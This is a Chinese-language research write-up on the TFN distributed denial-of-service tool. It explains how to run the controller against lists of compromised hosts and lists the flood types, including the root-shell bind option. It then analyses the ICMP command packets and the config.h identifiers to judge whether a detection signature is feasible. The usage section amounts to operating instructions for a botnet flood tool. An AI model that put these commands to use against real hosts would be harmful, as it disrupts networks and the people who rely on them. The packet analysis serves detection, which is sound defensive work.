TFN DDOS 拒絕服務攻擊程序研究

 

TFN  DDOS 拒絕服務攻擊程序研究 

 

作者:青青子衿

email:[email protected]

一、TFN程序的使用

1、 簡介,tfn爲一個運行在linux平臺下的用來發起分佈式拒絕服務攻擊的程序,一個完整的TFN分控制端程序,和發起攻擊端程序。控制端程序的名稱爲tfn,發起ddos攻擊的程序名稱爲tf,這個程序個分佈在多臺電腦上,達到發起分佈式拒絕服務攻擊的效果。

2、 Tfn的使用:

(1) 、創建list.txt 文件,文件名可以是其他的。

將安裝有發起ddos攻擊程序tf的計算機的IP地址保存在該文件中,各IP地址之間用回車分隔。

(2) 、發出攻擊指令

命令格式:tfn  <iplist> <type> [ip] [port]  其中

<iplist> 是保存了衆多用來發起DDOS攻擊的肉雞計算機的IP地址

<type>  發起DDOS攻擊的類型

-2 <bytes>         set packet size for packets used for udp/icmp/smurf attacks

-1 <mask>          set spoof mask. 0 will use random ips, 1 uses the correct

                   class a, 2 correct class b and 3 correct class c ip value

0                  stop current floods; if no floods are found, display status

1 <targets>        udp flood. target is one ip or multiple ips separated by @

2 <targets> <port> syn flood. if port is 0, random ports are used.

3 <targets>        icmp echo request flood.

4 <port>           only if compiled with ID_SHELL. bind a rootshell to <port>

5 <target@bcasts>  smurf amplifier icmp attack. unlike the above floods,

                   this only supports a single target. further ips separated

                   by @ will be used as smurf amplifier broadcast addresses

[ip]    攻擊目標電腦的IP地址

[port]    攻擊目標的計算機的具體端口

  3、使用舉例:

  (1)、運行tfn 控制程序計算機的位置:192.168.111.116

運行tf程序發起ddos攻擊的計算機的位置:192.168.100.32

Ddos攻擊的計算機的IP位置:192.168.100.32

  (2)、List.txt 文件的內容

192.168.100.30

  (3)、運行tf程序

  (4)、運行tfn控制程序

tfn  list.txt 2 192.168.100.32

二、數據包分析

結論:經過數據包分析和源碼分析,tfn程序的攻擊發起消息通過ICMP協議發出,有某些特徵可以用來進行精確識別,但這些特徵很容易通過源碼修改,來改變。

1、 原始數據包

0000    00 00  9b 29   03 7a  00 00   31 39 32 2e 31 36 38 2e   ...).z..192.168.

0010    31 30 30 2e 33 32 00                              100.32.

00 00 9b 29 03 7a 00 00 ICMP協議的數據包頭

31 39 32 2e 31 36 38 2e ICMP協議的數據部分,發起DDOS攻擊的目標計算機ip地址

9b 29   ICMP數據包的校驗值

03 7a   發起DDOS攻擊的類型

2、 類型的轉換的分析

攻擊類型名稱

輸入的類型標識

數據包中的類型標識

ID_ACK

0x7b

123

ID_SHELL

4    

0x1c8

456

ID_PSIZE

-2

0x315    

789

ID_SWITCH

-1

0xea    

234

ID_STOPIT

 0

0x237   

567

ID_SENDUDP

1

0x37a   

890

ID_SENDSYN

2

0x159        

345

ID_SYNPORT

//發送端口

0x2a6      

678  

ID_ICMP

3

0x385        

901  

ID_SMURF

5

0x29a          

666

3、 關於變種的不確定性討論

就程序而言,可以考慮,將ICMP數據包包頭中的攻擊類型標識符和ICMP數據包中數據部分的IP地址結合起來作爲特徵來對攻擊指令的識別。並通過截獲的符合條件的數據包的數量來確定發起DDOS攻擊的規模的大小。

但這種方法對於變種程序的攻擊很難識別,原因是: 數據包中的類型標識與攻擊類型的對應關係是通過config.H中的宏定義來實現的,所以這種對應關係很容易修改。

具體定義如下:

#define ID_ACK     123   /*    0x7b     for replies to the client */  //

#define ID_SHELL   456   /* 0x1c8    to bind a rootshell, optional */

#define ID_PSIZE   789   /* 0x315    to change size of udp/icmp packets */

#define ID_SWITCH   234   /* 0xea     to switch spoofing mode */

#define ID_STOPIT   567   /* 0x237    to stop flooding */

#define ID_SENDUDP   890   /* 0x37a  to udp flood */

#define ID_SENDSYN   345   /* 0x159  to syn flood */

#define ID_SYNPORT   678   /* 0x2a6  to set port */

#define ID_ICMP     901   /* 0x385    to icmp flood */

#define ID_SMURF   666   /* 0x29a    haps! haps! */

三、程序構架

1、tfn DDOS攻擊主控制端程序流程圖

2、 tfn DDOS受控肉雞端程序流程圖

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章